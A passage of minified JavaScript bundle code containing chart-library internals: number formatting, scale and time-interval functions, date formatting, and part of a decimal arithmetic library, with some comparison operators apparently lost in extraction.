M=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),N&&(P=E7(P)),M&&+P==0&&g!=="+"&&(M=!1),D=(M?g==="("?g:l:g==="-"||g==="("?"":g)+D,G=(k==="s"&&!isNaN(P)&&Au!==void 0?Q1[8+Au/3]:"")+G+(M&&g==="("?")":""),A){for(R=-1,K=P.length;++R_||_>57){G=(_===46?i+P.slice(R+1):P.slice(R))+G,P=P.slice(0,R);break}}}w&&!v&&(P=t(P,1/0));var F=D.length+P.length+G.length,U=F>1)+D+P+G+U.slice(F);break;default:P=U+D+P+G;break}return s(P)}return T.toString=function(){return f+""},T}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(ds(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Xo(f),f.type="f",f),{suffix:Q1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Jl,f0,r4;O7({thousands:",",grouping:[3],currency:["$",""]});function O7(e){return Jl=A7(e),f0=Jl.format,r4=Jl.formatPrefix,Jl}function T7(e){return Math.max(0,-ds(Math.abs(e)))}function M7(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(ds(t)/3)))*3-ds(Math.abs(e)))}function L7(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,ds(t)-ds(e))+1}function i4(e,t,n,r){var i=mh(e,t,n),s;switch(r=Xo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=M7(i,o))&&(r.precision=s),r4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=L7(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=T7(i))&&(r.precision=s-(r.type==="%")*2);break}}return f0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return dh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return i4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=fh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function a4(){var e=u0();return e.copy=function(){return pl(e,a4())},Mn.apply(e,arguments),Ai(e)}function s4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Eu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return s4(e).unknown(t)},e=arguments.length?Array.from(e,Eu):[0,1],Ai(n)}function o4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function B7(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function t2(e){return(t,n)=>-e(-t,n)}function m0(e){const t=e(J1,e2),n=t.domain;let r=10,i,s;function o(){return i=B7(r),s=$7(r),n()[0]<0?(i=t2(i),s=t2(s),e(I7,D7)):e(J1,e2),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Xo(c)).precision==null&&(c.trim=!0),c=f0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(o4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function l4(){const e=m0(Xd()).domain([1,10]);return e.copy=()=>pl(e,l4()).base(e.base()),Mn.apply(e,arguments),e}function n2(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function r2(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function p0(e){var t=1,n=e(n2(t),r2(t));return n.constant=function(r){return arguments.length?e(n2(t=+r),r2(t)):t},Ai(n)}function c4(){var e=p0(Xd());return e.copy=function(){return pl(e,c4()).constant(e.constant())},Mn.apply(e,arguments)}function i2(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function F7(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function W7(e){return e<0?-e*e:e*e}function h0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(F7,W7):e(i2(n),i2(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function x0(){var e=h0(Xd());return e.copy=function(){return pl(e,x0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function U7(){return x0.apply(null,arguments).exponent(.5)}function a2(e){return Math.sign(e)*e*e}function V7(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function u4(){var e=u0(),t=[0,1],n=!1,r;function i(s){var o=V7(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(a2(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Eu)).map(a2)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return u4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function d4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return f4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function m4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[fl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return m4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const vm=new Date,gm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(vm.setTime(+s),gm.setTime(+o),e(vm),e(gm),Math.floor(n(vm,gm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Ou=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Ou.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Ou);Ou.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,v0=Dr*7,s2=Dr*30,ym=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const g0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());g0.range;const y0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());y0.range;const b0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());b0.range;const w0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());w0.range;const hl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);hl.range;const Zd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Zd.range;const p4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));p4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/v0)}const Qd=ba(0),Tu=ba(1),H7=ba(2),K7=ba(3),fs=ba(4),G7=ba(5),Y7=ba(6);Qd.range;Tu.range;H7.range;K7.range;fs.range;G7.range;Y7.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/v0)}const Jd=wa(0),Mu=wa(1),q7=wa(2),X7=wa(3),ms=wa(4),Z7=wa(5),Q7=wa(6);Jd.range;Mu.range;q7.range;X7.range;ms.range;Z7.range;Q7.range;const j0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());j0.range;const N0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());N0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function h4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,v0],[t,1,s2],[t,3,3*s2],[e,1,ym]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(mh(u/ym,d/ym,f));if(h===0)return Ou.every(Math.max(mh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(we=wm(Ks(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Mu.ceil(we):Mu(we),we=Zd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=bm(Ks(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=hl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?wm(Ks(B.y,0,1)).getUTCDay():bm(Ks(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,wm(B)):bm(B)}}function S(C,Y,ne,B){for(var le=0,we=Y.length,Ne=ne.length,Ae,$;le=Ne)return-1;if(Ae=Y.charCodeAt(le++),Ae===37){if(Ae=Y.charAt(le++),$=N[Ae in o2?Y.charAt(le++):Ae],!$||(B=$(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function O(C,Y,ne){var B=u.exec(Y.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,Y,ne){var B=h.exec(Y.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function T(C,Y,ne){var B=f.exec(Y.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,Y,ne){var B=v.exec(Y.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function D(C,Y,ne){var B=g.exec(Y.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function G(C,Y,ne){return S(C,t,Y,ne)}function R(C,Y,ne){return S(C,n,Y,ne)}function K(C,Y,ne){return S(C,r,Y,ne)}function _(C){return o[C.getDay()]}function M(C){return s[C.getDay()]}function F(C){return c[C.getMonth()]}function U(C){return l[C.getMonth()]}function V(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function ae(C){return o[C.getUTCDay()]}function ue(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function q(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var Y=k(C+="",w);return Y.toString=function(){return C},Y},parse:function(C){var Y=z(C+="",!1);return Y.toString=function(){return C},Y},utcFormat:function(C){var Y=k(C+="",j);return Y.toString=function(){return C},Y},utcParse:function(C){var Y=z(C+="",!0);return Y.toString=function(){return C},Y}}}var o2={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,iL=/^%/,aL=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function oL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function lL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function cL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function uL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function dL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function l2(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function c2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function fL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function mL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function pL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function u2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function hL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function d2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function xL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function vL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function gL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function yL(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function bL(e,t,n){var r=iL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function wL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function jL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function f2(e,t){return _e(e.getDate(),t,2)}function NL(e,t){return _e(e.getHours(),t,2)}function kL(e,t){return _e(e.getHours()%12||12,t,2)}function zL(e,t){return _e(1+hl.count(Rr(e),e),t,3)}function x4(e,t){return _e(e.getMilliseconds(),t,3)}function SL(e,t){return x4(e,t)+"000"}function CL(e,t){return _e(e.getMonth()+1,t,2)}function PL(e,t){return _e(e.getMinutes(),t,2)}function EL(e,t){return _e(e.getSeconds(),t,2)}function _L(e){var t=e.getDay();return t===0?7:t}function AL(e,t){return _e(Qd.count(Rr(e)-1,e),t,2)}function v4(e){var t=e.getDay();return t>=4||t===0?fs(e):fs.ceil(e)}function OL(e,t){return e=v4(e),_e(fs.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function TL(e){return e.getDay()}function ML(e,t){return _e(Tu.count(Rr(e)-1,e),t,2)}function LL(e,t){return _e(e.getFullYear()%100,t,2)}function IL(e,t){return e=v4(e),_e(e.getFullYear()%100,t,2)}function DL(e,t){return _e(e.getFullYear()%1e4,t,4)}function RL(e,t){var n=e.getDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getFullYear()%1e4,t,4)}function $L(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function m2(e,t){return _e(e.getUTCDate(),t,2)}function BL(e,t){return _e(e.getUTCHours(),t,2)}function FL(e,t){return _e(e.getUTCHours()%12||12,t,2)}function WL(e,t){return _e(1+Zd.count($r(e),e),t,3)}function g4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function UL(e,t){return g4(e,t)+"000"}function VL(e,t){return _e(e.getUTCMonth()+1,t,2)}function HL(e,t){return _e(e.getUTCMinutes(),t,2)}function KL(e,t){return _e(e.getUTCSeconds(),t,2)}function GL(e){var t=e.getUTCDay();return t===0?7:t}function YL(e,t){return _e(Jd.count($r(e)-1,e),t,2)}function y4(e){var t=e.getUTCDay();return t>=4||t===0?ms(e):ms.ceil(e)}function qL(e,t){return e=y4(e),_e(ms.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function XL(e){return e.getUTCDay()}function ZL(e,t){return _e(Mu.count($r(e)-1,e),t,2)}function QL(e,t){return _e(e.getUTCFullYear()%100,t,2)}function JL(e,t){return e=y4(e),_e(e.getUTCFullYear()%100,t,2)}function eI(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function tI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ms(e):ms.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function nI(){return"+0000"}function p2(){return"%"}function h2(e){return+e}function x2(e){return Math.floor(+e/1e3)}var ka,b4,w4;rI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function rI(e){return ka=rL(e),b4=ka.format,ka.parse,w4=ka.utcFormat,ka.utcParse,ka}function iI(e){return new Date(e)}function aI(e){return e instanceof Date?+e:+new Date(+e)}function k0(e,t,n,r,i,s,o,l,c,u){var d=u0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(k){return(c(k)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>G8(e,s/r))},n.copy=function(){return z4(t).domain(e)},Gr.apply(n,arguments)}function tf(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,nf=I([Yr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),E4=(e,t,n,r)=>r?nf(e):Yr(e),uI=(e,t,n)=>n?nf(e):Yr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function v2(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function _4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function dI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return v2(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&Ly.test(i)){var c=Ly.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Iy.test(s)){var d=Iy.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:v2(p,t,n)}}}var Ns=1e9,fI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},P0,Ge=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",C0=Tn+"Exponent out of range: ",ks=Math.floor,Ui=Math.pow,mI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,A4=9007199254740991,Lu=ks(A4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ge=!1,t=Er(Zo(n,s),Zo(e,s),s),Ge=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?M4(t,e):O4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ge=!1,t=Er(n,e,0,1).times(e),Ge=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return T4(this)};pe.naturalLogarithm=pe.ln=function(){return Zo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?O4(t,e):M4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ge=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ks((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ge=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ge?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,Ns),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,Ns),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,Ns),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=A4){for(i=new 